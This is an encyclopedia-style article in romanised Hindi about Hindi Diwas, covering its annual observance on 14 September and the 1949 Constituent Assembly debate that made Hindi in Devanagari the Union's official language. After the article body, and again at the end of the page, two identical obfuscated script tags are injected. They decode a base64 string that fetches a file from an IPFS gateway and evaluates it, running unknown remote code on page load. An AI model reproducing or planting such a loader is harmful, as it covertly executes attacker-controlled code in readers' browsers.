हिन्दी दिवस
thumb|200px|left|hindi divas ( Hindi Day ) hindi divas ( Hindi Day ) bharat mean pratyek varsh 14 sitambar ko manaya jata hai. hindi, vishv mean sarvadhik boli jane vali bhashaoan mean se ek hai aur apane ap mean ek samarth bhasha hai. prakriti se yah udar grahanashil, sahishnu aur bharat ki rashtriy chetana ki sanvahika hai.
is din vibhinn shasakiy - ashasakiy karyalayoan, shiksha sansthaoan adi mean vividh goshthiyoan, sammelanoan, pratiyogitaoan tatha any karyakramoan ka ayojan kiya jata hai. kahian - kahian 'hindi pakhavada' tatha 'rashtrabhasha saptah' ityadi bhi manaye jate haian. vishv ki ek prachin, samriddh tatha mahan bhasha hone ke sath hi hindi hamari rashtrabhasha bhi hai, atah isake prati apana prem aur samman prakat karane ke lie aise ayojan svabhavik hi haian, parantu, duahkh ka vishay yah hai ki samay ke sath - sath ye ayojan keval aupacharikata matr banate ja rahe haian.
itihas
thumb|200px|right|dak tikat par hindi divas bharat ki svatantrata ke bad 14 sitanbar 1949 ko sanvidhan sabha ne ek mat se yah nirnay liya ki hindi ki kh di boli hi bharat ki rajabhasha hogi . isi mahatvapoorn nirnay ke mahatv ko pratipadit karane tatha hindi ko har kshetr mean prasarit karane ke liye rashtrabhasha prachar samiti, vardha ke anurodh par sanh 1953 se sanpoorn bharat mean 14 sitanbar ko prativarsh hindi - divas ke roop mean manaya jata hai.
pandit javaharalal neharoo ne sanvidhan sabha mean 13 sitambar 1949 ke din bahas mean bhag lete hue tin pramukh batean kahi thian --
1 - kisi videshi bhasha se koee rashtr mahan nahian ho sakata.
2 - koee bhi videshi bhasha am logoan ki bhasha nahian ho sakati.
3 - bharat ke hit mean, bharat ko ek shaktishali rashtr banane ke hit mean, aisa rashtr banane ke hit mean jo apani atma ko pahachane, jise atmavishvas ho, jo sansar ke sath sahayog kar sake, hamean hindi ko apanana chahie.
yah bahas 12 sitambar, 1949 ko 4 baje dopahar mean shuroo huee aur 14 sitanbar, 1949 ke din samapt huee. 14 sitambar, ki sham bahas ke samapan ke bad bhasha sanbandhi sanvidhan ka tatkalin bhag 14 k aur vartaman bhag 17, sanvidhan ka bhag ban gaya . sanvidhan - sabha ki bhasha - vishayak bahas lagabhag 278 prishthoan mean mudrit huee . isamean d aau. kanhaiyalal manikalal muanshi aur shri gopal svami ayangar ki mahati bhoomika rahi. bahas ke bad yah sahamati bani ki sangh ki bhasha hiandi aur lipi devanagari hogi, kiantu devanagari mean likhe jane vale aankoan tatha aangrezi ko 15 varsh ya usase adhik avadhi tak prayog karane ke lie tikhi bahas huee. antat: ayangar - muanshi farmoola bhari bahumat se svikar hua. vastav mean aankoan ko chho dakar sangh ki rajabhasha ke prashn par adhikatar sadasy sahamat ho ge. aankoan ke bare mean bhi yah spasht tha ki aantarrashtriy aank bharatiy aankoan ka hi ek naya sanskaran hai. kuchh sadasyoan ne roman lipi ke paksh mean prastav rakha, lekin devanagari ko hi adhikatar sadasyoan ne svikar kiya.
svatantr bharat ki rajabhasha ke prashn par kaphi vichar - vimarsh ke bad yah nirnay liya gaya jo bharatiy sanvidhan ke bhag 17 ke adhyay ki dhara 343 (1) mean is prakar varnit hai :--
sangh ki raj bhasha hindi aur lipi devanagari hogi . sangh ke rajakiy prayojanoan ke lie prayog hone vale aankoan ka roop aantarrashtriy roop hoga .
|
|
|
|
|
|
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
tika tippani aur sandarbh
bahari k diyaan
varnamala kramanusar lekh khoj
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>